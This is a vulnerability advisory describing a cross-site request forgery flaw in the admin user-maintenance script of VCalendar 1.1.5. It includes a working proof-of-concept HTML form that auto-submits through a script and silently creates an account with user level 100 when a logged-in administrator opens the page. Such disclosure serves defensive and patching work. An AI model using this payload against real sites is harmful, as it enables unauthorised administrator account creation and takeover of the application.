Vulnerability ID: HTB22969 Reference: http://www.htbridge.ch/advisory/csrf_cross_site_request_forgery_in_vcalendar.html Product: VCalendar Vendor: UltraApps ( http://ultraapps.com ) Vulnerable Version: 1.1.5 Vendor Notification: 21 April 2011 Vulnerability Type: CSRF (Cross-Site Request Forgery) Risk level: Low Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ ) Vulnerability Details: The vulnerability exists due to failure in the "/admin/users_maint.php" script to properly verify the source of HTTP request. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. Attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://[host]/admin/users_maint.php?ccsForm=users_maint"; method="post" name="main" /> <input type="hidden" name="user_login" value="test"/> <input type="hidden" name="user_password" value="test"/> <input type="hidden" name="user_level" value="100"/> <input type="hidden" name="user_email" value="test@xxxxxxxx"/> <input type="hidden" name="user_first_name" value="test"/> <input type="hidden" name="user_last_name" value="test"/> <input type="hidden" name="user_is_approved" value="1"/> <input type="hidden" name="user_date_add_h" value="04.16.2011"/> <input type="submit" id="btn" name="submit" value="Submit ââ"> </form> <script> document.getElementById('btn').click(); </script>
